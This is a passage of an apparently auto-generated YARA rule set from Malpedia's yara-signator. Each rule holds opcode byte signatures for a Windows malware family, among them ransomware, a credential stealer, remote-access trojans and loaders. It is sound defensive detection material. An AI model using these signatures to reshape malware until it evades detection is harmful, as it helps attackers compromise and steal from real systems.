		source_url = "https://github.com/malpedia/signator-rules//blob/173f2e2012643b57ff6521a58ba6dd57331de3c6/rules/win.makop_auto.yar#L1-L130"
		license_url = "N/A"
		logic_hash = "fab88e1b8315d53c8f1d019ae0fd200eb0984fdd471585289f6762a4445cd571"
		score = 75
		quality = 75
		tags = "FILE"
		version = "1"
		tool = "yara-signator v0.6.0"
		signator_config = "callsandjumps;datarefs;binvalue"
		malpedia_rule_date = "20260105"
		malpedia_hash = "19b79e7cab4eaf532122e5b45a77dd8f6bb5cc79"
		malpedia_version = "20251219"
		malpedia_license = "CC BY-SA 4.0"
		malpedia_sharing = "TLP:WHITE"
	strings:
		$sequence_0 = { 5e 5b 83c41c c3 ffd7 50 e8???????? }
		$sequence_1 = { 8bc6 e8???????? 894630 8b4500 8903 8b0f }
		$sequence_2 = { 894118 8b0e c6412800 e8???????? }
		$sequence_3 = { ff15???????? 8bf0 83feff 744f 8bc7 8a08 83c001 }
		$sequence_4 = { 8d04b8 7414 8b00 50 6a00 ffd5 50 }
		$sequence_5 = { 833e00 8b35???????? c744240c00000000 7645 8b5c2410 8da42400000000 8b0b }
		$sequence_6 = { 53 a3???????? ff15???????? 50 ff15???????? 8d742418 e8???????? }
		$sequence_7 = { 56 e8???????? 8d4e28 51 6a0a 8bc6 e8???????? }
		$sequence_8 = { c3 ffd7 50 e8???????? 83c404 5f 5e }
		$sequence_9 = { 6a00 8d4c2414 51 52 57 55 c744242800000000 }
	condition:
		7 of them and filesize < 107520
}

rule MALPEDIA_Win_Darkme_Auto : FILE
{
	meta:
		description = "autogenerated rule brought to you by yara-signator"
		author = "Felix Bilstein - yara-signator at cocacoding dot com"
		id = "1036dced-69e3-5dff-8a15-6ed9a4e7c833"
		date = "2026-01-05"
		modified = "2026-01-06"
		reference = "https://malpedia.caad.fkie.fraunhofer.de/details/win.darkme"
		source_url = "https://github.com/malpedia/signator-rules//blob/173f2e2012643b57ff6521a58ba6dd57331de3c6/rules/win.darkme_auto.yar#L1-L133"
		license_url = "N/A"
		logic_hash = "816ab6c03be8b7c8209c8913616f17d58c6b5480cc780d2ab0b0d2412d8ca815"
		score = 75
		quality = 75
		tags = "FILE"
		version = "1"
		tool = "yara-signator v0.6.0"
		signator_config = "callsandjumps;datarefs;binvalue"
		malpedia_rule_date = "20260105"
		malpedia_hash = "19b79e7cab4eaf532122e5b45a77dd8f6bb5cc79"
		malpedia_version = "20251219"
		malpedia_license = "CC BY-SA 4.0"
		malpedia_sharing = "TLP:WHITE"
	strings:
		$sequence_0 = { 40 f7d8 668985f0feffff 8d4d84 ff15???????? 8d8d70ffffff ff15???????? }
		$sequence_1 = { eb12 8b95ecfeffff 81c2???????? 8995a8feffff 8b85a8feffff 8b08 8b95a8feffff }
		$sequence_2 = { 8d4ddc 898d90feffff 8b9590feffff 8b02 8985e4feffff 6a00 8b4dc8 }
		$sequence_3 = { 8b8504ffffff 8b08 8b01 52 ff9098030000 50 }
		$sequence_4 = { c745f8???????? c745fc00000000 8b7508 8b06 56 ff5004 668b4d0c }
		$sequence_5 = { 7459 c745fc08000000 6a10 8b55cc 52 8d45d0 50 }
		$sequence_6 = { c745b801000000 c745b002000000 8b55d4 52 8d45b0 50 d9856cffffff }
		$sequence_7 = { 898d24ffffff eb12 8b9530ffffff 81c2???????? 899524ffffff 8b8524ffffff 8b08 }
		$sequence_8 = { 8b1491 52 68???????? e8???????? 8bd0 8d4dac ff15???????? }
		$sequence_9 = { 6a00 6a00 6a01 6a08 8b9530ffffff 81c2???????? 52 }
	condition:
		7 of them and filesize < 1515520
}

rule MALPEDIA_Win_Typehash_Auto : FILE
{
	meta:
		description = "autogenerated rule brought to you by yara-signator"
		author = "Felix Bilstein - yara-signator at cocacoding dot com"
		id = "0c0bfd3b-1920-5db4-be8f-16377880af07"
		date = "2026-01-05"
		modified = "2026-01-06"
		reference = "https://malpedia.caad.fkie.fraunhofer.de/details/win.typehash"
		source_url = "https://github.com/malpedia/signator-rules//blob/173f2e2012643b57ff6521a58ba6dd57331de3c6/rules/win.typehash_auto.yar#L1-L122"
		license_url = "N/A"
		logic_hash = "cb4de3d61dde4ee402264a80e34744365587a3be274cf88c25ae82f2b1a1af55"
		score = 75
		quality = 75
		tags = "FILE"
		version = "1"
		tool = "yara-signator v0.6.0"
		signator_config = "callsandjumps;datarefs;binvalue"
		malpedia_rule_date = "20260105"
		malpedia_hash = "19b79e7cab4eaf532122e5b45a77dd8f6bb5cc79"
		malpedia_version = "20251219"
		malpedia_license = "CC BY-SA 4.0"
		malpedia_sharing = "TLP:WHITE"
	strings:
		$sequence_0 = { 0f8380000000 8bc8 8bf0 c1f905 83e61f 8d3c8de03d4100 c1e603 }
		$sequence_1 = { 8d7c246c 83c9ff 33c0 8d54246c f2ae f7d1 }
		$sequence_2 = { 8b0c8de03d4100 8d04c1 eb05 b8???????? f6400480 0f8492000000 ff4e04 }
		$sequence_3 = { 8b15???????? 8d4c2410 52 6800280000 }
		$sequence_4 = { 50 c745c458e64000 e8???????? cc 56 ff742408 8bf1 }
		$sequence_5 = { 5f eb26 8d4508 8db6742a4100 6a00 50 }
		$sequence_6 = { c1f905 83e01f 8b0c8de03d4100 8d04c1 }
		$sequence_7 = { 3bd7 770f e8???????? 8b442418 8b0d???????? 3bfb }
		$sequence_8 = { 8d4c2440 c68424cc00000001 e8???????? 8b44241c 3d00280000 7312 }
		$sequence_9 = { 03f8 897c2410 813f50450000 7413 68c1000000 }
	condition:
		7 of them and filesize < 180224
}

rule MALPEDIA_Win_Deathransom_Auto : FILE
{
	meta:
		description = "autogenerated rule brought to you by yara-signator"
		author = "Felix Bilstein - yara-signator at cocacoding dot com"
		id = "50ee2015-88b7-58a2-ad62-287a84416fd8"
		date = "2026-01-05"
		modified = "2026-01-06"
		reference = "https://malpedia.caad.fkie.fraunhofer.de/details/win.deathransom"
		source_url = "https://github.com/malpedia/signator-rules//blob/173f2e2012643b57ff6521a58ba6dd57331de3c6/rules/win.deathransom_auto.yar#L1-L132"
		license_url = "N/A"
		logic_hash = "4fbf584c560c10f65d1ed9a5619731c7c654805433383d8df8efbda5a45512a6"
		score = 75
		quality = 75
		tags = "FILE"
		version = "1"
		tool = "yara-signator v0.6.0"
		signator_config = "callsandjumps;datarefs;binvalue"
		malpedia_rule_date = "20260105"
		malpedia_hash = "19b79e7cab4eaf532122e5b45a77dd8f6bb5cc79"
		malpedia_version = "20251219"
		malpedia_license = "CC BY-SA 4.0"
		malpedia_sharing = "TLP:WHITE"
	strings:
		$sequence_0 = { 668945d8 8d55d8 8b45f4 52 6a00 68???????? 8b08 }
		$sequence_1 = { 03d6 8bc1 8b75c8 03da c1c00d 8bd1 }
		$sequence_2 = { 8b75d4 c1c90e 33c8 836dc001 894ddc 894dbc 8b4df8 }
		$sequence_3 = { ffd7 50 ffd6 ff75d8 6a00 ffd7 50 }
		$sequence_4 = { 894108 eb03 8b7df8 56 6a00 ff15???????? 8b35???????? }
		$sequence_5 = { 33c8 8bc3 034dcc 33c6 2345e4 33c3 03c1 }
		$sequence_6 = { f7d8 837b0400 5f 0f4dc6 5e 894304 5b }
		$sequence_7 = { 894db8 0fb64a38 c1e108 0bc8 0fb6423a c1e108 0bc8 }
		$sequence_8 = { 33c8 8b7de4 03ca 8b5df4 8b55dc 8bc6 }
		$sequence_9 = { 33c2 8b55dc 8945e4 8d0413 c1c007 3345cc 03d0 }
	condition:
		7 of them and filesize < 133120
}

rule MALPEDIA_Win_Wmighost_Auto : FILE
{
	meta:
		description = "autogenerated rule brought to you by yara-signator"
		author = "Felix Bilstein - yara-signator at cocacoding dot com"
		id = "55e49921-45ae-5b90-8672-392197d5c46d"
		date = "2026-01-05"
		modified = "2026-01-06"
		reference = "https://malpedia.caad.fkie.fraunhofer.de/details/win.wmighost"
		source_url = "https://github.com/malpedia/signator-rules//blob/173f2e2012643b57ff6521a58ba6dd57331de3c6/rules/win.wmighost_auto.yar#L1-L122"
		license_url = "N/A"
		logic_hash = "baccfa7c7ba02590525c187cca262206672accd6710804ff2657e35b11ab051c"
		score = 75
		quality = 75
		tags = "FILE"
		version = "1"
		tool = "yara-signator v0.6.0"
		signator_config = "callsandjumps;datarefs;binvalue"
		malpedia_rule_date = "20260105"
		malpedia_hash = "19b79e7cab4eaf532122e5b45a77dd8f6bb5cc79"
		malpedia_version = "20251219"
		malpedia_license = "CC BY-SA 4.0"
		malpedia_sharing = "TLP:WHITE"
	strings:
		$sequence_0 = { 50 ff5238 8945fc 837dfc00 7d12 }
		$sequence_1 = { 8b95f8feffff 52 ff15???????? 83c410 8b85f8feffff 50 }
		$sequence_2 = { 8d95f0fcffff 52 ff15???????? 68e8030000 ff15???????? }
		$sequence_3 = { c745fcffffffff 8d4de8 e8???????? e9???????? 51 8bcc 8965c4 }
		$sequence_4 = { 8bc8 e8???????? 6aff 8d4de8 e8???????? }
		$sequence_5 = { 50 64892500000000 83ec08 894dec c745fc00000000 8d4d08 e8???????? }
		$sequence_6 = { ff15???????? e9???????? c745fcffffffff 8d4d84 e8???????? }
		$sequence_7 = { 6a44 6a00 8d45b0 50 e8???????? }
		$sequence_8 = { 894dfc 8b45fc 50 ff15???????? 8b45fc 8be5 5d }
		$sequence_9 = { 6a00 6a00 ff15???????? 6a17 6a00 68???????? }
	condition:
		7 of them and filesize < 49152
}

rule MALPEDIA_Win_Chrgetpdsi_Stealer_Auto : FILE
{
	meta:
		description = "autogenerated rule brought to you by yara-signator"
		author = "Felix Bilstein - yara-signator at cocacoding dot com"
		id = "d3ecdf63-3d7b-56f8-8ebb-39b6f5471caa"
		date = "2026-01-05"
		modified = "2026-01-06"
		reference = "https://malpedia.caad.fkie.fraunhofer.de/details/win.chrgetpdsi_stealer"
		source_url = "https://github.com/malpedia/signator-rules//blob/173f2e2012643b57ff6521a58ba6dd57331de3c6/rules/win.chrgetpdsi_stealer_auto.yar#L1-L134"
		license_url = "N/A"
		logic_hash = "6bfcd142e96c03742e4fbcd1d45c8791f0f2de988eb9c6e51f8b962532c287a2"
		score = 75
		quality = 75
		tags = "FILE"
		version = "1"
		tool = "yara-signator v0.6.0"
		signator_config = "callsandjumps;datarefs;binvalue"
		malpedia_rule_date = "20260105"
		malpedia_hash = "19b79e7cab4eaf532122e5b45a77dd8f6bb5cc79"
		malpedia_version = "20251219"
		malpedia_license = "CC BY-SA 4.0"
		malpedia_sharing = "TLP:WHITE"
	strings:
		$sequence_0 = { 488dbc2428010000 488d742408 660f1f840000000000 0f1f4000 48896c24f0 488d6c24f0 e8???????? }
		$sequence_1 = { e8???????? 84c0 0f8489010000 488b4c2458 488d7101 488b7c2478 0f1f440000 }
		$sequence_2 = { 48898c24b0000000 4889442468 48895c2460 488d3dd9b32500 be27000000 e8???????? 488b542468 }
		$sequence_3 = { 89d8 e8???????? 4889442458 48895c2448 488d05e3a61c00 0f1f00 e8???????? }
		$sequence_4 = { 90 90 488d05e41e4200 e8???????? 90 488b4c2420 488b542418 }
		$sequence_5 = { b909000000 488bbc2408060000 488bb42410060000 4c8d0575882700 41b91a000000 e8???????? 0f1f4000 }
		$sequence_6 = { 31c0 31c9 31d2 31db e9???????? 4889d9 4889c3 }
		$sequence_7 = { 48c740100f000000 488d0dca832500 48894808 833d????????00 7509 488905???????? eb0c }
		$sequence_8 = { 4c8b842410010000 0f1f4000 e9???????? 4c8b842410010000 4d85c0 7e24 498d48ff }
		$sequence_9 = { 4c89442478 0f1f00 4883fa01 7546 488d0573ca1a00 bb01000000 4889d9 }
	condition:
		7 of them and filesize < 10027008
}

rule MALPEDIA_Win_Sappycache_Auto : FILE
{
	meta:
		description = "autogenerated rule brought to you by yara-signator"
		author = "Felix Bilstein - yara-signator at cocacoding dot com"
		id = "7cc3c8f2-16b3-5753-b1dc-441bde2f37db"
		date = "2026-01-05"
		modified = "2026-01-06"
		reference = "https://malpedia.caad.fkie.fraunhofer.de/details/win.sappycache"
		source_url = "https://github.com/malpedia/signator-rules//blob/173f2e2012643b57ff6521a58ba6dd57331de3c6/rules/win.sappycache_auto.yar#L1-L124"
		license_url = "N/A"
		logic_hash = "69868e0b80392ecc35dcd562f65c813ca6117f731788d5ab611817e1e3bff002"
		score = 75
		quality = 75
		tags = "FILE"
		version = "1"
		tool = "yara-signator v0.6.0"
		signator_config = "callsandjumps;datarefs;binvalue"
		malpedia_rule_date = "20260105"
		malpedia_hash = "19b79e7cab4eaf532122e5b45a77dd8f6bb5cc79"
		malpedia_version = "20251219"
		malpedia_license = "CC BY-SA 4.0"
		malpedia_sharing = "TLP:WHITE"
	strings:
		$sequence_0 = { ff15???????? 4c8bc3 33d2 488bc8 488907 488be8 e8???????? }
		$sequence_1 = { 0f84a0000000 817c242000140000 0f8592000000 488d05b8600100 b928000000 }
		$sequence_2 = { 4863c9 488d1556fa0000 488bc1 83e13f 48c1f806 }
		$sequence_3 = { 4c8d442440 8bca 488d542448 48c1e109 4903cc e8???????? 488b5c2448 }
		$sequence_4 = { 488bfb 48895c2420 8b05???????? 3bf0 7c3b 4c8d3db7fa0000 }
		$sequence_5 = { 4889442478 488bd8 4885c0 0f840d060000 4889bc2488630000 }
		$sequence_6 = { 488bcf ff15???????? b801000000 488b6c2440 488b742448 488b7c2450 488b4c2428 }
		$sequence_7 = { ff15???????? 488d4540 498bd7 48ffc2 44382c10 }
		$sequence_8 = { 488d15bdcbffff 488d0c10 813950450000 755f b80b020000 66394118 7554 }
		$sequence_9 = { 4883ec68 488b05???????? 4833c4 4889442450 33ff 33db }
	condition:
		7 of them and filesize < 262144
}

rule MALPEDIA_Win_Jinxloader_Auto : FILE
{
	meta:
		description = "autogenerated rule brought to you by yara-signator"
		author = "Felix Bilstein - yara-signator at cocacoding dot com"
		id = "bf4fed28-9df0-5c07-919b-e147a3bf2a61"
		date = "2026-01-05"
		modified = "2026-01-06"
		reference = "https://malpedia.caad.fkie.fraunhofer.de/details/win.jinxloader"
		source_url = "https://github.com/malpedia/signator-rules//blob/173f2e2012643b57ff6521a58ba6dd57331de3c6/rules/win.jinxloader_auto.yar#L1-L134"
		license_url = "N/A"
		logic_hash = "a80dddab53cddfaf6005da20443003f999792e56e65e502c4cb3050695796046"
		score = 75
		quality = 75
		tags = "FILE"
		version = "1"
		tool = "yara-signator v0.6.0"
		signator_config = "callsandjumps;datarefs;binvalue"
		malpedia_rule_date = "20260105"
		malpedia_hash = "19b79e7cab4eaf532122e5b45a77dd8f6bb5cc79"
		malpedia_version = "20251219"
		malpedia_license = "CC BY-SA 4.0"
		malpedia_sharing = "TLP:WHITE"
	strings:
		$sequence_0 = { c3 0f10442440 90 488b8c2488000000 0f1101 0f10442450 0f114110 }
		$sequence_1 = { e8???????? 488b942498000000 498913 488910 48c7401802000000 4c8d0521e42000 4c894010 }
		$sequence_2 = { e8???????? 488b9424c8020000 498913 488d5818 488bb080000000 49897308 488bb424c0020000 }
		$sequence_3 = { eb21 488d7e58 90 eb1a 488d7e38 eb14 488d7e38 }
		$sequence_4 = { c3 31c0 4889fb 4889f1 4881c408010000 5d c3 }
		$sequence_5 = { b801000000 4881c430010000 5d c3 488b8424f0000000 4883c010 488b4c2450 }
		$sequence_6 = { e8???????? 833d????????00 750a 488b8c2448170000 eb10 e8???????? 488b8c2448170000 }
		$sequence_7 = { eb0d e8???????? 488b542440 498913 48895018 488d1d78464b00 4889c1 }
		$sequence_8 = { f20f11442428 f20f104808 f20f114c2420 e8???????? 488b442458 488b5c2418 e8???????? }
		$sequence_9 = { e8???????? 488d8424d0000000 488b9c2408020000 488b4c2458 488bbc2418020000 e8???????? 488d8424d0000000 }
	condition:
		7 of them and filesize < 20364288
}

rule MALPEDIA_Win_Typeframe_Auto : FILE
{
	meta:
		description = "autogenerated rule brought to you by yara-signator"
		author = "Felix Bilstein - yara-signator at cocacoding dot com"
		id = "54b5c61d-baac-5ee7-bf22-feb7211e94de"
		date = "2026-01-05"
		modified = "2026-01-06"
		reference = "https://malpedia.caad.fkie.fraunhofer.de/details/win.typeframe"
		source_url = "https://github.com/malpedia/signator-rules//blob/173f2e2012643b57ff6521a58ba6dd57331de3c6/rules/win.typeframe_auto.yar#L1-L148"
		license_url = "N/A"
		logic_hash = "80d5f324e45f06373a108fe4a18abca87604cdaaeb894c2ac4120a591e037164"
		score = 75
		quality = 75
		tags = "FILE"
		version = "1"
		tool = "yara-signator v0.6.0"
		signator_config = "callsandjumps;datarefs;binvalue"
		malpedia_rule_date = "20260105"
		malpedia_hash = "19b79e7cab4eaf532122e5b45a77dd8f6bb5cc79"
		malpedia_version = "20251219"
		malpedia_license = "CC BY-SA 4.0"
		malpedia_sharing = "TLP:WHITE"
	strings:
		$sequence_0 = { 004fb5 0500cccccc cc 48895c2410 }
		$sequence_1 = { 002d???????? b505 00eb b405 }
		$sequence_2 = { 004775 0300 3c75 0300 }
		$sequence_3 = { 0026 b505 004fb5 0500cccccc }
		$sequence_4 = { 006a0f 57 8bf0 e8???????? }
		$sequence_5 = { 0004af 0300 f6ae0300e8ae 0300 }
		$sequence_6 = { 01442468 8d4c0f78 83e978 8d44242c }
		$sequence_7 = { 0056e5 0400 af e504 }
		$sequence_8 = { 0102 0318 18040506071818 1818 }
		$sequence_9 = { 008601010000 0fb69601010000 410fb60c30 0fb60432 }
		$sequence_10 = { 0108 83c004 4a 75cd }
		$sequence_11 = { 014424fc 83ec04 2bc1 58 0f83be000000 }
		$sequence_12 = { 008501010000 410fb60c28 0fb69501010000 0fb6042a }
		$sequence_13 = { 01442408 c74424fc00000000 014c24fc 83ec04 }
		$sequence_14 = { 01442418 8d6c282c 83ed2c eb04 }
		$sequence_15 = { 014424fc 83ec04 2bc2 58 720c }
	condition:
		7 of them and filesize < 2125824
}

rule MALPEDIA_Win_Bistromath_Auto : FILE
{
	meta:
		description = "autogenerated rule brought to you by yara-signator"
		author = "Felix Bilstein - yara-signator at cocacoding dot com"
		id = "3bccd3a0-c0bd-5aa2-bcab-9b1969a6c7fd"
		date = "2026-01-05"
		modified = "2026-01-06"
		reference = "https://malpedia.caad.fkie.fraunhofer.de/details/win.bistromath"
		source_url = "https://github.com/malpedia/signator-rules//blob/173f2e2012643b57ff6521a58ba6dd57331de3c6/rules/win.bistromath_auto.yar#L1-L134"
		license_url = "N/A"
		logic_hash = "6eb59622b909c4597fcaca67234110606cdc73af8fb69989e1a6ed85248b5331"
		score = 75
		quality = 75
		tags = "FILE"
		version = "1"
		tool = "yara-signator v0.6.0"
		signator_config = "callsandjumps;datarefs;binvalue"
		malpedia_rule_date = "20260105"
		malpedia_hash = "19b79e7cab4eaf532122e5b45a77dd8f6bb5cc79"
		malpedia_version = "20251219"
		malpedia_license = "CC BY-SA 4.0"
		malpedia_sharing = "TLP:WHITE"
	strings:
		$sequence_0 = { ff701c e8???????? ff75f8 ba17000000 8945e4 6aff 8bce }
		$sequence_1 = { e8???????? 83c408 85c0 7414 8b4d08 89482c 8b4c2434 }
		$sequence_2 = { e8???????? 8bf0 85f6 7533 8b4b04 8d4308 50 }
		$sequence_3 = { 8bf9 8d45fc 50 8bf2 8b0f e8???????? 83c408 }
		$sequence_4 = { e8???????? 8bf8 85ff 7416 ff75fc ff75f4 57 }
		$sequence_5 = { 8d850cffffff 6a00 50 e8???????? 83c40c 8d85fcfeffff 50 }
		$sequence_6 = { ffb594f4ffff 8bd3 8d8db8f8ffff e8???????? 83c404 8d85b8f8ffff 50 }
		$sequence_7 = { ffd0 83c404 83460cff 8b06 c7461400000000 8945fc 751e }
		$sequence_8 = { e8???????? 84c0 7504 33f6 eb1e 6a40 e8???????? }
		$sequence_9 = { 8d8504ffffff 50 57 ffd6 8985b8feffff 8d45e0 50 }
	condition:
		7 of them and filesize < 33816576
}

rule MALPEDIA_Win_Splinter_Auto : FILE
{
	meta:
		description = "autogenerated rule brought to you by yara-signator"
		author = "Felix Bilstein - yara-signator at cocacoding dot com"
		id = "d16ca329-56e4-510f-9e6c-3e0242a5a17c"
		date = "2026-01-05"
		modified = "2026-01-06"
		reference = "https://malpedia.caad.fkie.fraunhofer.de/details/win.splinter"
		source_url = "https://github.com/malpedia/signator-rules//blob/173f2e2012643b57ff6521a58ba6dd57331de3c6/rules/win.splinter_auto.yar#L1-L134"
		license_url = "N/A"
		logic_hash = "fbea70ebd33891fb1f580e85b1d2c0146d8b7b0ac901561f3697caf4edb74461"
		score = 75
		quality = 75
		tags = "FILE"
		version = "1"
		tool = "yara-signator v0.6.0"
		signator_config = "callsandjumps;datarefs;binvalue"
		malpedia_rule_date = "20260105"
		malpedia_hash = "19b79e7cab4eaf532122e5b45a77dd8f6bb5cc79"
		malpedia_version = "20251219"
		malpedia_license = "CC BY-SA 4.0"
		malpedia_sharing = "TLP:WHITE"
	strings:
		$sequence_0 = { f048ff08 7510 488b4df0 4881c120020000 e8???????? 90 4883c420 }
		$sequence_1 = { f048ff08 0f855dfeffff 4883c178 e8???????? e9???????? 488b8558010000 48894530 }
		$sequence_2 = { 741b 4c39c0 0f847c000000 420fb61c02 80c3d0 49ffc0 80fb0a }
		$sequence_3 = { e9???????? 4c8d0547ba2d00 4889c2 e8???????? 4c8d0538ba2d00 4889c1 e8???????? }
		$sequence_4 = { e9???????? 8b05???????? 65488b0c2558000000 488b34c1 488d8e38020000 488d15c6f10000 e8???????? }
		$sequence_5 = { f30f7f06 488b9de0030000 4885db 0f8411010000 488db550010000 488d95b0000000 41b898000000 }
		$sequence_6 = { e8???????? 84c0 488bbd08040000 743b 8b05???????? 65488b0c2558000000 488b04c1 }
		$sequence_7 = { e8???????? eb17 4c8955e8 4c894df0 4c8d05cc034500 4889c1 e8???????? }
		$sequence_8 = { f30f7f8910020000 488b4c2448 4c89ea e8???????? 4889f1 4821c1 f30f6f040f }
		$sequence_9 = { e8???????? eb2e c685c700000001 4c8d050b894c00 4c89f9 e8???????? eb16 }
	condition:
		7 of them and filesize < 20177920
}

rule MALPEDIA_Win_Netspy_Auto : FILE
{
	meta:
		description = "autogenerated rule brought to you by yara-signator"
		author = "Felix Bilstein - yara-signator at cocacoding dot com"
		id = "57c767b8-cd93-5302-911f-6988f847c306"
		date = "2026-01-05"
		modified = "2026-01-06"
		reference = "https://malpedia.caad.fkie.fraunhofer.de/details/win.netspy"
		source_url = "https://github.com/malpedia/signator-rules//blob/173f2e2012643b57ff6521a58ba6dd57331de3c6/rules/win.netspy_auto.yar#L1-L100"
		license_url = "N/A"
		logic_hash = "ecbb26e5fda724e71586bc695509ce41d8249123e16dac20dd9df75d451bc239"
		score = 75
		quality = 75
		tags = "FILE"
		version = "1"
		tool = "yara-signator v0.6.0"
		signator_config = "callsandjumps;datarefs;binvalue"
		malpedia_rule_date = "20260105"
		malpedia_hash = "19b79e7cab4eaf532122e5b45a77dd8f6bb5cc79"
		malpedia_version = "20251219"
		malpedia_license = "CC BY-SA 4.0"
		malpedia_sharing = "TLP:WHITE"
	strings:
		$sequence_0 = { 4829c4 488b8538340000 4889e1 48898d704d0000 e8???????? }
		$sequence_1 = { e9???????? 8b858c170000 3da1b579e1 0f84d92c0000 e9???????? 8b858c170000 3da646bcce }
		$sequence_2 = { 48898510130000 8b15???????? 833d????????0a 0f9cc1 }
		$sequence_3 = { a801 0f8505000000 e9???????? 488b8da0380000 448b859c380000 }
		$sequence_4 = { b8a51c0a0c f6c201 0f45c8 488b85c84a0000 8908 8b15???????? }
		$sequence_5 = { 4889e1 48898d90560000 e8???????? 4829c4 }
		$sequence_6 = { e9???????? 488b85384d0000 8b00 8985544d0000 e9???????? 488b85404d0000 8a00 }
		$sequence_7 = { 448b855c570000 4889c4 b9bc3715ff b88819ea06 }
	condition:
		7 of them and filesize < 12033024
}

rule MALPEDIA_Win_Warezov_Auto : FILE
{
	meta:
		description = "autogenerated rule brought to you by yara-signator"
		author = "Felix Bilstein - yara-signator at cocacoding dot com"
		id = "0ec3e9cd-ecfd-5888-8e71-8272853df26c"
		date = "2026-01-05"
		modified = "2026-01-06"
		reference = "https://malpedia.caad.fkie.fraunhofer.de/details/win.warezov"
		source_url = "https://github.com/malpedia/signator-rules//blob/173f2e2012643b57ff6521a58ba6dd57331de3c6/rules/win.warezov_auto.yar#L1-L132"
		license_url = "N/A"
		logic_hash = "8a169bcf46fd926fd65360d9ee1ccb1e67a44520c106569cb5acbfc473bbceb3"
		score = 75
		quality = 75
		tags = "FILE"
		version = "1"
		tool = "yara-signator v0.6.0"
		signator_config = "callsandjumps;datarefs;binvalue"
		malpedia_rule_date = "20260105"
		malpedia_hash = "19b79e7cab4eaf532122e5b45a77dd8f6bb5cc79"
		malpedia_version = "20251219"
		malpedia_license = "CC BY-SA 4.0"
		malpedia_sharing = "TLP:WHITE"
	strings:
		$sequence_0 = { 8a8c04cc000000 8a9404fc000000 02d1 8a8c04fd000000 889404fc000000 8a9404cd000000 02ca }
		$sequence_1 = { c68424a300000065 c68424a400000062 c68424a500000075 c68424a600000070 c68424a700000077 889c24a8000000 c68424ad00000070 }
		$sequence_2 = { ffd3 50 ff15???????? 85c0 8b942430010000 8902 7531 }
		$sequence_3 = { 8d8c24a8000000 51 6a00 68???????? 8d9424b8010000 52 }
		$sequence_4 = { c684243801000039 c6842439010000ac c684243a0100000f c684243b010000fe c684243c01000046 c684243d0100006a c684243e01000038 }
		$sequence_5 = { 885e14 8b5008 56 8bcd 885a14 e8???????? eb78 }
		$sequence_6 = { 0473 b142 f6e9 8ad8 8b06 80eb12 80cbcd }
		$sequence_7 = { 33f6 4d 85ed ba77000000 7e50 8b74240c 53 }
		$sequence_8 = { 32ca 888c049c020000 40 83f809 7ce3 8d8424a8020000 50 }
		$sequence_9 = { c68424aa000000d3 c68424ab000000b8 c68424ac000000a9 c68424ad0000002e c68424ae00000049 c68424af00000041 }
	condition:
		7 of them and filesize < 827392
}

rule MALPEDIA_Win_Albaniiutas_Auto : FILE
{
	meta:
		description = "autogenerated rule brought to you by yara-signator"
		author = "Felix Bilstein - yara-signator at cocacoding dot com"
		id = "6944bcab-7fa1-5041-889b-6d1c7305340e"
		date = "2026-01-05"
		modified = "2026-01-06"
		reference = "https://malpedia.caad.fkie.fraunhofer.de/details/win.albaniiutas"
		source_url = "https://github.com/malpedia/signator-rules//blob/173f2e2012643b57ff6521a58ba6dd57331de3c6/rules/win.albaniiutas_auto.yar#L1-L114"
		license_url = "N/A"
		logic_hash = "ae4d05366f3510708fa40872966a48e3078a4c97e3d0950cdaf94819ee9ab7c6"
		score = 75
		quality = 75
		tags = "FILE"
		version = "1"
		tool = "yara-signator v0.6.0"
		signator_config = "callsandjumps;datarefs;binvalue"
		malpedia_rule_date = "20260105"
		malpedia_hash = "19b79e7cab4eaf532122e5b45a77dd8f6bb5cc79"
		malpedia_version = "20251219"
		malpedia_license = "CC BY-SA 4.0"
		malpedia_sharing = "TLP:WHITE"
	strings:
		$sequence_0 = { c745e410000000 c705????????02000000 c745e802000000 c745ec07000000 c745f000000000 }
		$sequence_1 = { 03048d90df0210 50 ff15???????? 5d }
		$sequence_2 = { 83c40c 5d c20c00 e9???????? 55 8bec ff7508 }
		$sequence_3 = { 56 8b048d90df0210 57 8b7d10 }
		$sequence_4 = { 8b049590df0210 f644082801 7421 57 e8???????? 59 50 }
		$sequence_5 = { 8975ec 0fb70445b01a0110 66894c4774 8bcf }
		$sequence_6 = { 0f8e6fffffff 83c8ff eb07 8b04cd4c6b0110 }
		$sequence_7 = { 8b4508 c740183c1b0110 c74104513f0000 e9???????? }
		$sequence_8 = { 8b4508 c74018241c0110 e9???????? 8b550c c74104473f0000 83fa06 0f8430070000 }
		$sequence_9 = { c74048c0a40110 8b4508 6689486c 8b4508 }
	condition:
		7 of them and filesize < 566272
}

rule MALPEDIA_Win_Terminator_Rat_Auto : FILE
{
	meta:
		description = "autogenerated rule brought to you by yara-signator"
		author = "Felix Bilstein - yara-signator at cocacoding dot com"
		id = "a907b97c-e30c-569d-92f6-e3c29e0c0bce"
		date = "2026-01-05"
		modified = "2026-01-06"
		reference = "https://malpedia.caad.fkie.fraunhofer.de/details/win.terminator_rat"
		source_url = "https://github.com/malpedia/signator-rules//blob/173f2e2012643b57ff6521a58ba6dd57331de3c6/rules/win.terminator_rat_auto.yar#L1-L119"
		license_url = "N/A"
		logic_hash = "65d625611fed0b10063c05f198c3f84077666921d947cf7651a55c8e71d92a0f"
		score = 75
		quality = 75
		tags = "FILE"
		version = "1"
		tool = "yara-signator v0.6.0"
		signator_config = "callsandjumps;datarefs;binvalue"
		malpedia_rule_date = "20260105"
		malpedia_hash = "19b79e7cab4eaf532122e5b45a77dd8f6bb5cc79"
		malpedia_version = "20251219"
		malpedia_license = "CC BY-SA 4.0"
		malpedia_sharing = "TLP:WHITE"
	strings:
		$sequence_0 = { ffb7e8feffff 8d854d010000 8987e8feffff 8b8541010000 c1e006 }
		$sequence_1 = { c0c003 3441 c0c003 3452 c0c003 3443 }
		$sequence_2 = { 6a04 bb00040000 57 53 6a00 }
		$sequence_3 = { 53 56 8b7708 ff77fc ffb51d010000 8f47f4 }
		$sequence_4 = { 8d4618 50 8b8539010000 03c1 50 e8???????? 8b4610 }
		$sequence_5 = { 50 e8???????? 83f8ff 7408 81c400040000 }
		$sequence_6 = { 8b4b0c ac 3459 c0c803 3448 c0c803 }
		$sequence_7 = { 8f87f0fbffff 5e 5b 81c410040000 }
		$sequence_8 = { e9???????? ff7610 8b8d35010000 8d4618 50 8b8539010000 03c1 }
		$sequence_9 = { ff5541 50 ff5569 8bf0 }
	condition:
		7 of them and filesize < 73728
}

rule MALPEDIA_Win_Poison_Rat_Auto : FILE
{
	meta:
		description = "autogenerated rule brought to you by yara-signator"
		author = "Felix Bilstein - yara-signator at cocacoding dot com"
		id = "7c6f2ea3-14d0-5bd3-b5de-002b01a6e4ac"
		date = "2026-01-05"
